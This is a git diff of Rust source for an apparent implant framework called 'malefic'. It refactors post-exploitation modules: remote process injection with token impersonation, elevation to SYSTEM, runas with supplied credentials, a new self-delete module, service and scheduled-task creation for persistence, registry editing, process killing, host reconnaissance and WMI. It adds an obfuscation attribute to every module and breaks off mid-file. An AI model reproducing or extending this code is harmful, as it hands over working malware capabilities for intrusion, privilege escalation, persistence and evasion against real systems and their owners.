a/malefic-modules/src/sys/example.rs +++ b/malefic-modules/src/sys/example.rs @@ -1,10 +1,5 @@ -use async_trait::async_trait; -use malefic_trait::module_impl; -use crate::{check_request, Module, ModuleImpl, ModuleResult, TaskResult}; -use malefic_proto::proto::modulepb::Response; -use malefic_proto::proto::implantpb::spite::Body; -use crate::TaskError::{NotImpl}; - +use crate::prelude::*; +use malefic_module::TaskError::NotImpl; pub struct Example {} @@ -15,11 +10,19 @@ impl Module for Example {} #[async_trait] impl ModuleImpl for Example { #[allow(unused_variables)] - async fn run(&mut self, id: u32, receiver: &mut crate::Input, sender: &mut crate::Output) -> ModuleResult { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { let request = check_request!(receiver, Body::Request)?; - let example_return = "this is 1n73rn4l 0f m4l1c3"; - let mut response = Response::default(); - response.output = example_return.to_string(); - Ok(TaskResult::new_with_body(id, Body::Response(response))) + if request.input == "ok" { + let mut response = Response::default(); + response.output = "ok".to_string(); + Ok(TaskResult::new_with_body(id, Body::Response(response))) + } else { + Err(anyhow::anyhow!(NotImpl)) + } } } diff --git a/malefic-modules/src/sys/info.rs b/malefic-modules/src/sys/info.rs index ecfc293..a951f8f 100644 --- a/malefic-modules/src/sys/info.rs +++ b/malefic-modules/src/sys/info.rs @@ -6,38 +6,46 @@ pub struct SysInfo {} impl Module for SysInfo {} #[async_trait] -impl malefic_proto::module::ModuleImpl for SysInfo { - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, _: &mut malefic_proto::module::Output) -> malefic_proto::module::ModuleResult { +#[obfuscate] +impl malefic_module::ModuleImpl for SysInfo { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _: &mut malefic_module::Output, + ) -> malefic_module::ModuleResult { let _ = check_request!(receiver, Body::Request)?; - let info = malefic_helper::common::sysinfo::get_sysinfo(); - let os = info.os.unwrap(); - let process = info.process.unwrap(); - - - Ok(TaskResult::new_with_body(id, Body::Sysinfo(malefic_proto::proto::modulepb::SysInfo { - filepath: info.filepath, - workdir: info.workdir, - is_privilege: info.is_privilege, - os: Some(malefic_proto::proto::modulepb::Os{ - name: os.name, - version: os.version, - release: os.release, - arch: os.arch, - username: os.username, - hostname: os.hostname, - locale: os.locale, - clr_version: os.clr_version + let info = malefic_sysinfo::get_sysinfo(); + let os = info.os.expect("os info should always be available"); + let process = info.process.unwrap_or_default(); + + Ok(TaskResult::new_with_body( + id, + Body::Sysinfo(malefic_proto::proto::modulepb::SysInfo { + filepath: info.filepath, + workdir: info.workdir, + is_privilege: info.is_privilege, + os: Some(malefic_proto::proto::modulepb::Os { + name: os.name, + version: os.version, + release: os.release, + arch: os.arch, + username: os.username, + hostname: os.hostname, + locale: os.locale, + clr_version: os.clr_version, + }), + process: Some(malefic_proto::proto::modulepb::Process { + name: process.name, + pid: process.pid, + ppid: process.ppid, + arch: process.arch, + owner: process.owner, + path: process.path, + args: process.args, + uid: "".to_string(), + }), }), - process: Some(malefic_proto::proto::modulepb::Process { - name: process.name, - pid: process.pid, - ppid: process.ppid, - arch: process.arch, - owner: process.owner, - path: process.path, - args: process.args, - uid: "".to_string(), - }) - }))) + )) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/sys/inject.rs b/malefic-modules/src/sys/inject.rs index 082027d..e48e509 100644 --- a/malefic-modules/src/sys/inject.rs +++ b/malefic-modules/src/sys/inject.rs @@ -7,13 +7,24 @@ pub struct Inject {} impl Module for Inject {} #[async_trait] +#[obfuscate] impl ModuleImpl for Inject { async fn run(&mut self, id: u32, receiver: &mut Input, _: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::Inject)?; - let bin = check_field!(req.bin)?; - to_error!(malefic_helper::win::inject::remote_inject(&*bin, req.pid))?; + if req.token_pid != 0 { + to_error!(malefic_os_win::token::impersonate_process(req.token_pid) + .map_err(|e| e.to_string()))?; + } + + let result = malefic_os_win::kit::inject::remote_inject(&*bin, req.pid); + + if req.token_pid != 0 { + let _ = malefic_os_win::token::revert_to_self(); + } + + to_error!(result)?; Ok(TaskResult::new(id)) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/sys/kill.rs b/malefic-modules/src/sys/kill.rs index bdad8a7..e69b86b 100644 --- a/malefic-modules/src/sys/kill.rs +++ b/malefic-modules/src/sys/kill.rs @@ -7,14 +7,20 @@ pub struct Kill {} impl Module for Kill {} #[async_trait] +#[obfuscate] impl ModuleImpl for Kill { - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, _sender: &mut malefic_proto::module::Output) -> ModuleResult { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { let request = check_request!(receiver, Body::Request)?; let pid = check_field!(request.input)?; - malefic_helper::common::process::kill(pid.parse()?)?; + malefic_process::kill(pid.parse()?)?; Ok(TaskResult::new(id)) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/sys/mod.rs b/malefic-modules/src/sys/mod.rs index e784b54..dded375 100644 --- a/malefic-modules/src/sys/mod.rs +++ b/malefic-modules/src/sys/mod.rs @@ -1,28 +1,43 @@ +#[cfg(feature = "env")] +pub mod env; #[cfg(debug_assertions)] pub mod example; -pub mod ps; +#[cfg(feature = "netstat")] pub mod netstat; -pub mod env; +#[cfg(feature = "ps")] +pub mod ps; +#[cfg(feature = "whoami")] pub mod whoami; // mod reg; +#[cfg(feature = "kill")] pub mod kill; // mod spawn; #[cfg(feature = "info")] pub mod info; -#[cfg(target_family = "windows")] +#[cfg(all(target_family = "windows", feature = "bypass"))] pub mod bypass; -#[cfg(target_family = "windows")] +#[cfg(all(target_family = "windows", feature = "inject"))] +pub mod inject; +#[cfg(all(target_family = "windows", feature = "registry"))] pub mod reg; -#[cfg(target_family = "windows")] +#[cfg(all(target_family = "windows", feature = "self_dele"))] +pub mod self_dele; +#[cfg(all(target_family = "windows", feature = "service"))] pub mod service; -#[cfg(target_family = "windows")] +#[cfg(all(target_family = "windows", feature = "taskschd"))] pub mod taskschd; -#[cfg(target_family = "windows")] -#[cfg(feature = "wmi")] -pub mod wmi; -#[cfg(target_family = "windows")] +#[cfg(feature = "thread_spawn_test")] +pub mod thread_spawn_test; +#[cfg(all( + target_family = "windows", + any( + feature = "runas", + feature = "rev2self", + feature = "privs", + feature = "getsystem" + ) +))] pub mod token; -#[cfg(target_family = "windows")] -pub mod inject; - +#[cfg(all(target_family = "windows", feature = "wmi"))] +pub mod wmi; diff --git a/malefic-modules/src/sys/netstat.rs b/malefic-modules/src/sys/netstat.rs index 41332cc..4713361 100644 --- a/malefic-modules/src/sys/netstat.rs +++ b/malefic-modules/src/sys/netstat.rs @@ -1,20 +1,25 @@ -use malefic_proto::proto::modulepb::{NetstatResponse, SockTabEntry}; use crate::prelude::*; +use malefic_proto::proto::modulepb::{NetstatResponse, SockTabEntry}; pub struct Netstat {} - #[async_trait] #[module_impl("netstat")] impl Module for Netstat {} #[async_trait] +#[obfuscate] impl ModuleImpl for Netstat { - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, _sender: &mut malefic_proto::module::Output) -> ModuleResult { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { let _re = check_request!(receiver, Body::Request)?; let mut response = NetstatResponse::default(); - for sock in malefic_helper::common::net::get_netstat()?.into_iter(){ - response.socks.push(SockTabEntry{ + for sock in malefic_net::get_netstat()?.into_iter() { + response.socks.push(SockTabEntry { local_addr: sock.local_addr, remote_addr: sock.remote_addr, protocol: sock.protocol, @@ -23,6 +28,9 @@ impl ModuleImpl for Netstat { }); } - Ok(TaskResult::new_with_body(id, Body::NetstatResponse(response))) // å“应体为空 + Ok(TaskResult::new_with_body( + id, + Body::NetstatResponse(response), + )) // Response body is empty } -} \ No newline at end of file +} diff --git a/malefic-modules/src/sys/ps.rs b/malefic-modules/src/sys/ps.rs index 62b3e54..b35f304 100644 --- a/malefic-modules/src/sys/ps.rs +++ b/malefic-modules/src/sys/ps.rs @@ -1,6 +1,6 @@ +use crate::prelude::*; use malefic_proto::proto::modulepb; use malefic_proto::proto::modulepb::PsResponse; -use crate::prelude::*; pub struct Ps {} @@ -9,13 +9,14 @@ pub struct Ps {} impl Module for Ps {} #[async_trait] +#[obfuscate] impl ModuleImpl for Ps { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let _ = check_request!(receiver, Body::Request)?; - + let mut response = PsResponse::default(); - for (_, process) in malefic_helper::common::process::get_processes()?.into_iter(){ - response.processes.push(modulepb::Process{ + for (_, process) in malefic_process::get_processes()?.into_iter() { + response.processes.push(modulepb::Process { name: process.name, pid: process.pid, ppid: process.ppid, @@ -27,6 +28,6 @@ impl ModuleImpl for Ps { }); } - Ok(TaskResult::new_with_body(id, Body::PsResponse(response))) // å“应体为空 + Ok(TaskResult::new_with_body(id, Body::PsResponse(response))) // Response body is empty } -} \ No newline at end of file +} diff --git a/malefic-modules/src/sys/reg.rs b/malefic-modules/src/sys/reg.rs index 2cb0ca8..da7c138 100644 --- a/malefic-modules/src/sys/reg.rs +++ b/malefic-modules/src/sys/reg.rs @@ -1,5 +1,5 @@ -use malefic_helper::win::reg::{RegistryKey, RegistryValue}; use crate::prelude::*; +use malefic_os_win::reg::{RegistryKey, RegistryValue}; pub struct RegListKey {} @@ -8,13 +8,15 @@ pub struct RegListKey {} impl Module for RegListKey {} #[async_trait] +#[obfuscate] impl ModuleImpl for RegListKey { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::RegistryRequest)?; let hive = check_field!(req.hive)?; - let path = check_field!(req.path)?; + // Allow path to be empty for querying root directory + let path = if req.path.is_empty() { "" } else { &req.path }; - let reg_key = RegistryKey::open(hive.parse()?, &*path)?; + let reg_key = RegistryKey::open(hive.parse()?, path)?; let res = reg_key.list_subkeys()?; let mut resp = malefic_proto::proto::modulepb::Response::default(); resp.array = res; @@ -28,13 +30,15 @@ pub struct RegListValue {} impl Module for RegListValue {} #[async_trait] +#[obfuscate] impl ModuleImpl for RegListValue { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::RegistryRequest)?; let hive = check_field!(req.hive)?; - let path = check_field!(req.path)?; + // Allow path to be empty for querying root directory + let path = if req.path.is_empty() { "" } else { &req.path }; - let reg_key = RegistryKey::open(hive.parse()?, &*path)?; + let reg_key = RegistryKey::open(hive.parse()?, path)?; let res = reg_key.list_values()?; let mut resp = malefic_proto::proto::modulepb::Response::default(); @@ -51,14 +55,16 @@ pub struct RegQuery {} #[module_impl("reg_query")] impl Module for RegQuery {} #[async_trait] +#[obfuscate] impl ModuleImpl for RegQuery { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::RegistryRequest)?; let hive = check_field!(req.hive)?; - let subkey = check_field!(req.key)?; + let path = check_field!(req.path)?; + let key = check_field!(req.key)?; - let reg_key = RegistryKey::open(hive.parse()?, &*subkey)?; - let value = reg_key.query_value(&*subkey)?; + let reg_key = RegistryKey::open(hive.parse()?, &path)?; + let value = reg_key.query_value(&key)?; let mut resp = malefic_proto::proto::modulepb::Response::default(); resp.output = value.to_string(); @@ -72,19 +78,25 @@ pub struct RegAdd {} #[module_impl("reg_add")] impl Module for RegAdd {} #[async_trait] +#[obfuscate] impl ModuleImpl for RegAdd { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::RegistryWriteRequest)?; let hive = check_field!(req.hive)?; let path = check_field!(req.path)?; - let key = check_field!(req.key)?; let reg_key = match RegistryKey::open(hive.parse()?, &*path) { Ok(key) => key, Err(_) => RegistryKey::create(hive.parse()?, &*path)?, }; - // æ ¹æ® regtype 设置ä¸åŒç±»åž‹çš„值 + let key = if req.key.is_empty() { + return Ok(TaskResult::new(id)); + } else { + check_field!(req.key)? + }; + + // Set different types of values based on regtype match req.regtype { 1 => { // REG_SZ @@ -106,6 +118,9 @@ impl ModuleImpl for RegAdd { let qword_value = req.qword_value; reg_key.set_value(&*key, RegistryValue::Qword(qword_value))?; } + 0 => { + return Ok(TaskResult::new(id)); + } _ => return Err(anyhow::Error::msg("Unsupported registry value type").into()), } @@ -119,15 +134,30 @@ pub struct RegDelete {} #[module_impl("reg_delete")] impl Module for RegDelete {} #[async_trait] +#[obfuscate] impl ModuleImpl for RegDelete { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::RegistryRequest)?; let hive = check_field!(req.hive)?; - let subkey = check_field!(req.key)?; - - let reg_key = RegistryKey::open(hive.parse()?, &*subkey)?; - reg_key.delete_key(Some(&*subkey))?; + let parsed_hive = hive.parse()?; + + // If key is empty, delete entire key path; otherwise only delete specified value + if req.key.is_empty() { + let path = check_field!(req.path)?; + let (parent_path, subkey_name) = match path.rsplit_once('\\') { + Some((parent, child)) if !child.is_empty() => (parent, child), + _ => ("", path.as_str()), + }; + + let parent = RegistryKey::open(parsed_hive, parent_path)?; + parent.delete_key(Some(subkey_name))?; + } else { + // Delete specified value + let path = if req.path.is_empty() { "" } else { &req.path }; + let reg_key = RegistryKey::open(parsed_hive, path)?; + reg_key.delete_value(&req.key)?; + } Ok(TaskResult::new(id)) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/sys/self_dele.rs b/malefic-modules/src/sys/self_dele.rs new file mode 100644 index 0000000..5724a2a --- /dev/null +++ b/malefic-modules/src/sys/self_dele.rs @@ -0,0 +1,24 @@ +use crate::prelude::*; +use malefic_os_win::kit::hide::self_delete; + +pub struct SelfDele {} + +#[async_trait] +#[module_impl("self_dele")] +impl Module for SelfDele {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for SelfDele { + async fn run(&mut self, id: u32, receiver: &mut Input, _: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::Common)?; + if req.string_array.is_empty() { + return to_error!(Err("Stream name is needed".to_string())); + } + unsafe { + self_delete(&req.string_array[0]); + } + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/sys/service.rs b/malefic-modules/src/sys/service.rs index 6358928..93c7d62 100644 --- a/malefic-modules/src/sys/service.rs +++ b/malefic-modules/src/sys/service.rs @@ -1,8 +1,13 @@ -use malefic_helper::win::service::{ServiceConfig, ServiceErrorControl, ServiceExitCode, ServiceManager, ServiceStartType, ServiceStatus}; -use malefic_proto::proto::modulepb::Service; use crate::prelude::*; +use malefic_os_win::service::{ + ServiceConfig, ServiceErrorControl, ServiceExitCode, ServiceManager, ServiceStartType, + ServiceStatus, +}; +use malefic_proto::proto::modulepb::Service; -fn service_config_to_proto(config: &ServiceConfig) -> malefic_proto::proto::modulepb::ServiceConfig { +fn service_config_to_proto( + config: &ServiceConfig, +) -> malefic_proto::proto::modulepb::ServiceConfig { let config = config.clone(); malefic_proto::proto::modulepb::ServiceConfig { name: config.name.clone(), @@ -10,11 +15,18 @@ fn service_config_to_proto(config: &ServiceConfig) -> malefic_proto::proto::modu executable_path: config.executable_path.to_string_lossy().to_string(), start_type: config.start_type as u32, error_control: config.error_control as u32, - account_name: config.account_name.clone().unwrap_or_default().to_string_lossy().to_string(), + account_name: config + .account_name + .clone() + .unwrap_or_default() + .to_string_lossy() + .to_string(), } } -fn service_status_to_proto(status: &ServiceStatus) -> malefic_proto::proto::modulepb::ServiceStatus { +fn service_status_to_proto( + status: &ServiceStatus, +) -> malefic_proto::proto::modulepb::ServiceStatus { let status = status.clone(); malefic_proto::proto::modulepb::ServiceStatus { current_state: status.current_state as u32, @@ -28,7 +40,6 @@ fn service_status_to_proto(status: &ServiceStatus) -> malefic_proto::proto::modu } } - pub struct ServiceList {} #[async_trait] @@ -36,24 +47,25 @@ pub struct ServiceList {} impl Module for ServiceList {} #[async_trait] +#[obfuscate] impl ModuleImpl for ServiceList { async fn run(&mut self, id: u32, _receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let _ = check_request!(_receiver, Body::Request)?; let manager = ServiceManager::open()?; - + let services = manager.list_and_query()?; let mut resp = malefic_proto::proto::modulepb::ServicesResponse::default(); - + for service in services { let config = service_config_to_proto(&service.config); - let status = service_status_to_proto(service.status.as_ref().unwrap()); + let status = service.status.as_ref().map(service_status_to_proto); resp.services.push(Service { config: Some(config), - status: Some(status), + status, }); } - // 返回æœåŠ¡åˆ—è¡¨ + // Return service list Ok(TaskResult::new_with_body(id, Body::ServicesResponse(resp))) } } @@ -64,6 +76,7 @@ pub struct ServiceStart {} #[module_impl("service_start")] impl Module for ServiceStart {} #[async_trait] +#[obfuscate] impl ModuleImpl for ServiceStart { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::ServiceRequest)?; @@ -82,6 +95,7 @@ pub struct ServiceStop {} impl Module for ServiceStop {} #[async_trait] +#[obfuscate] impl ModuleImpl for ServiceStop { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::ServiceRequest)?; @@ -100,6 +114,7 @@ pub struct ServiceDelete {} impl Module for ServiceDelete {} #[async_trait] +#[obfuscate] impl ModuleImpl for ServiceDelete { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::ServiceRequest)?; @@ -114,13 +129,13 @@ impl ModuleImpl for ServiceDelete { } } - pub struct ServiceQuery {} #[async_trait] #[module_impl("service_query")] impl Module for ServiceQuery {} #[async_trait] +#[obfuscate] impl ModuleImpl for ServiceQuery { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::ServiceRequest)?; @@ -130,14 +145,16 @@ impl ModuleImpl for ServiceQuery { let config = manager.query_service(&req.name)?; let status = manager.query_service_status(&config)?; - Ok(TaskResult::new_with_body(id, Body::ServiceResponse(Service { - config: Some(service_config_to_proto(&config)), - status: Some(service_status_to_proto(&status)) - }))) + Ok(TaskResult::new_with_body( + id, + Body::ServiceResponse(Service { + config: Some(service_config_to_proto(&config)), + status: Some(service_status_to_proto(&status)), + }), + )) } } - pub struct ServiceCreate {} #[async_trait] @@ -145,15 +162,16 @@ pub struct ServiceCreate {} impl Module for ServiceCreate {} #[async_trait] +#[obfuscate] impl ModuleImpl for ServiceCreate { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { - // ä»Žè¯·æ±‚ä¸­èŽ·å– `ServiceRequest` + // Get ServiceRequest from request let req = check_request!(receiver, Body::ServiceRequest)?; - // 打开æœåŠ¡ç®¡ç†å™¨ + // Open service manager let manager = ServiceManager::open()?; - // 从请求数æ®ä¸­æå–æœåŠ¡åˆ›å»ºå‚æ•° + // Extract service creation parameters from request data let service_name = req.name.clone(); let display_name = req.display_name.clone(); let executable_path = req.executable_path.clone(); @@ -172,16 +190,16 @@ impl ModuleImpl for ServiceCreate { }; let account_name = req.account_name.clone(); - // 创建æœåŠ¡ + // Create service let _ = manager.create_service( &service_name, &display_name, &executable_path, start_type, error_control, - Some(&*account_name) + Some(&*account_name), )?; - + Ok(TaskResult::new(id)) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/sys/taskschd.rs b/malefic-modules/src/sys/taskschd.rs index 00e2f0c..e66ed63 100644 --- a/malefic-modules/src/sys/taskschd.rs +++ b/malefic-modules/src/sys/taskschd.rs @@ -1,14 +1,18 @@ use std::time::Duration; -use malefic_helper::win::scheduler::{TaskConfig, TaskSchedulerManager, TaskTriggerType}; -use malefic_proto::proto::modulepb::TaskSchedule; use crate::prelude::*; +use malefic_os_win::scheduler::{TaskConfig, TaskSchedulerManager, TaskTriggerType}; +use malefic_proto::proto::modulepb::TaskSchedule; -pub fn task_schedule_to_proto(schedule: &malefic_helper::win::scheduler::TaskSchedule) -> TaskSchedule { +pub fn task_schedule_to_proto(schedule: &malefic_os_win::scheduler::TaskSchedule) -> TaskSchedule { TaskSchedule { name: schedule.config.name.clone(), path: schedule.config.path.clone(), - executable_path: schedule.config.executable_path.to_string_lossy().to_string(), + executable_path: schedule + .config + .executable_path + .to_string_lossy() + .to_string(), trigger_type: schedule.config.trigger_type.to_int(), start_boundary: schedule.config.start_boundary.clone(), description: schedule.config.description.clone(), @@ -25,8 +29,9 @@ pub struct TaskSchdList {} impl Module for TaskSchdList {} #[async_trait] +#[obfuscate] impl ModuleImpl for TaskSchdList { - async fn run(&mut self, id: u32, _receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + async fn run(&mut self, id: u32, _receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let _ = check_request!(_receiver, Body::Request)?; let manager = TaskSchedulerManager::initialize()?; @@ -41,13 +46,13 @@ impl ModuleImpl for TaskSchdList { } } - pub struct TaskSchdCreate {} #[async_trait] #[module_impl("taskschd_create")] impl Module for TaskSchdCreate {} #[async_trait] +#[obfuscate] impl ModuleImpl for TaskSchdCreate { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::ScheduleRequest)?; @@ -78,6 +83,7 @@ pub struct TaskSchdStart {} #[module_impl("taskschd_start")] impl Module for TaskSchdStart {} #[async_trait] +#[obfuscate] impl ModuleImpl for TaskSchdStart { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::ScheduleRequest)?; @@ -96,6 +102,7 @@ pub struct TaskSchdStop {} #[module_impl("taskschd_stop")] impl Module for TaskSchdStop {} #[async_trait] +#[obfuscate] impl ModuleImpl for TaskSchdStop { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::ScheduleRequest)?; @@ -115,6 +122,7 @@ pub struct TaskSchdDelete {} #[module_impl("taskschd_delete")] impl Module for TaskSchdDelete {} #[async_trait] +#[obfuscate] impl ModuleImpl for TaskSchdDelete { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::ScheduleRequest)?; @@ -134,6 +142,7 @@ pub struct TaskSchdQuery {} #[module_impl("taskschd_query")] impl Module for TaskSchdQuery {} #[async_trait] +#[obfuscate] impl ModuleImpl for TaskSchdQuery { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::ScheduleRequest)?; @@ -156,15 +165,16 @@ pub struct TaskSchdRun {} #[module_impl("taskschd_run")] impl Module for TaskSchdRun {} #[async_trait] +#[obfuscate] impl ModuleImpl for TaskSchdRun { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::ScheduleRequest)?; let manager = TaskSchedulerManager::initialize()?; let task_name = check_field!(req.name)?; - let path = check_field!(req.path)?; + let path = check_field!(req.path)?; manager.run_task(&path, &task_name)?; Ok(TaskResult::new(id)) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/sys/thread_spawn_test.rs b/malefic-modules/src/sys/thread_spawn_test.rs new file mode 100644 index 0000000..04a0d36 --- /dev/null +++ b/malefic-modules/src/sys/thread_spawn_test.rs @@ -0,0 +1,51 @@ +use crate::prelude::*; + +pub struct ThreadSpawnTest {} + +#[async_trait] +#[module_impl("thread_spawn_test")] +impl Module for ThreadSpawnTest {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for ThreadSpawnTest { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let _ = check_request!(receiver, Body::Request)?; + + let mut response = Response::default(); + + // Spawn a std::thread inside the PE-loaded DLL — this is the + // scenario that triggers the TLS thread_info assertion: + // "assertion failed: thread_info.stack_guard.get().is_none() + // && thread_info.thread.get().is_none()" + let handle = std::thread::spawn(|| { + let mut result = String::new(); + result.push_str("thread_id="); + result.push_str(&format!("{:?}", std::thread::current().id())); + result.push_str(" cwd="); + result.push_str( + &std::env::current_dir() + .map(|p| p.to_string_lossy().to_string()) + .unwrap_or_else(|e| format!("err:{}", e)), + ); + result + }); + + match handle.join() { + Ok(output) => { + response.output = output; + } + Err(e) => { + response.output = format!("thread panic: {:?}", e); + } + } + + Ok(TaskResult::new_with_body(id, Body::Response(response))) + } +} diff --git a/malefic-modules/src/sys/token.rs b/malefic-modules/src/sys/token.rs index 3e4d9fb..244a540 100644 --- a/malefic-modules/src/sys/token.rs +++ b/malefic-modules/src/sys/token.rs @@ -1,5 +1,5 @@ -use malefic_proto::proto::implantpb::spite::Body::ExecResponse; use crate::prelude::*; +use malefic_proto::proto::implantpb::spite::Body::ExecResponse; pub struct RunAs {} @@ -8,6 +8,7 @@ pub struct RunAs {} impl Module for RunAs {} #[async_trait] +#[obfuscate] impl ModuleImpl for RunAs { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { let req = check_request!(receiver, Body::RunasRequest)?; @@ -19,26 +20,32 @@ impl ModuleImpl for RunAs { let args = check_field!(req.args)?; let mut exec_response = malefic_proto::proto::modulepb::ExecResponse::default(); - exec_response.stdout = malefic_helper::win::token::run_as(&username, &domain, &password, &program, &args, req.netonly, req.use_profile, req.use_env)?.into_bytes(); - Ok(TaskResult::new_with_body( - id, - ExecResponse(exec_response), - )) + exec_response.stdout = malefic_os_win::token::run_as( + &username, + &domain, + &password, + &program, + &args, + req.netonly, + req.use_profile, + req.use_env, + )? + .into_bytes(); + Ok(TaskResult::new_with_body(id, ExecResponse(exec_response))) } } - pub struct Rev2Self {} #[async_trait] #[module_impl("rev2self")] impl Module for Rev2Self {} - #[async_trait] +#[obfuscate] impl ModuleImpl for Rev2Self { async fn run(&mut self, id: u32, _receiver: &mut Input, _sender: &mut Output) -> ModuleResult { - malefic_helper::win::token::revert_to_self()?; + malefic_os_win::token::revert_to_self()?; Ok(TaskResult::new(id)) } } @@ -49,9 +56,10 @@ pub struct GetPriv {} #[module_impl("privs")] impl Module for GetPriv {} #[async_trait] +#[obfuscate] impl ModuleImpl for GetPriv { async fn run(&mut self, id: u32, _receiver: &mut Input, _sender: &mut Output) -> ModuleResult { - let privileges = malefic_helper::win::token::get_privs()?; + let privileges = malefic_os_win::token::get_privs()?; let mut response = malefic_proto::proto::modulepb::Response::default(); @@ -63,7 +71,6 @@ impl ModuleImpl for GetPriv { } } - pub struct GetSystem {} #[async_trait] @@ -71,14 +78,15 @@ pub struct GetSystem {} impl Module for GetSystem {} #[async_trait] +#[obfuscate] impl ModuleImpl for GetSystem { async fn run(&mut self, id: u32, _receiver: &mut Input, _sender: &mut Output) -> ModuleResult { - // å°è¯•æå‡åˆ° SYSTEM æƒé™ - let _system_token = malefic_helper::win::token::get_system()?; + // Attempt to elevate to SYSTEM privileges + let _system_token = malefic_os_win::token::get_system()?; let mut response = malefic_proto::proto::modulepb::Response::default(); response.output = "Successfully elevated to SYSTEM privileges".to_string(); Ok(TaskResult::new_with_body(id, Body::Response(response))) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/sys/whoami.rs b/malefic-modules/src/sys/whoami.rs index 9f848ad..6e70439 100644 --- a/malefic-modules/src/sys/whoami.rs +++ b/malefic-modules/src/sys/whoami.rs @@ -1,5 +1,5 @@ -use malefic_proto::proto::modulepb::Response; use crate::prelude::*; +use malefic_proto::proto::modulepb::Response; pub struct Whoami {} @@ -8,11 +8,17 @@ pub struct Whoami {} impl Module for Whoami {} #[async_trait] -impl malefic_proto::module::ModuleImpl for Whoami { - async fn run(&mut self, id: u32, receiver: &mut malefic_proto::module::Input, _sender: &mut malefic_proto::module::Output) -> ModuleResult { +#[obfuscate] +impl malefic_module::ModuleImpl for Whoami { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { let _ = check_request!(receiver, Body::Request)?; let mut response = Response::default(); - response.output = malefic_helper::common::sysinfo::username(); + response.output = malefic_sysinfo::username(); Ok(TaskResult::new_with_body(id, Body::Response(response))) } -} \ No newline at end of file +} diff --git a/malefic-modules/src/sys/wmi.rs b/malefic-modules/src/sys/wmi.rs index 990972b..cd3300b 100644 --- a/malefic-modules/src/sys/wmi.rs +++ b/malefic-modules/src/sys/wmi.rs @@ -1,9 +1,123 @@ use std::collections::HashMap; -use malefic_helper::win::wmi::{string_to_variant_map, variant_to_string_map, WmiManager}; -use malefic_proto::proto::modulepb::Response; +use async_trait::async_trait; +use malefic_os_win::wmi::exec::WmiExecParam; +use malefic_os_win::wmi::{COMLibrary, Variant, WMIConnection, WMIError}; + use crate::prelude::*; +fn string_to_variant_map(input: HashMap) -> HashMap { + input + .into_iter() + .map(|(key, value)| { + let variant_value = if let Ok(int_value) = value.parse::() { + Variant::I4(int_value) + } else if let Ok(float_value) = value.parse::() { + Variant::R8(float_value) + } else { + Variant::String(value) + }; + (key, variant_value) + }) + .collect() +} + +fn variant_to_string_map(input: HashMap) -> HashMap { + input + .into_iter() + .map(|(key, value)| { + let string_value = match value { + Variant::I4(i) => i.to_string(), + Variant::UI4(u) => u.to_string(), + Variant::R8(f) => f.to_string(), + Variant::String(s) => s, + Variant::Bool(b) => b.to_string(), + Variant::Null => "null".to_string(), + _ => { + format!("{:?}", value) + } + }; + (key, string_value) + }) + .collect() +} + +struct WmiManager { + wmi_con: WMIConnection, +} + +#[obfuscate] +impl WmiManager { + fn open(namespace: Option<&str>) -> Result { + let com_con = COMLibrary::new()?; + let namespace = 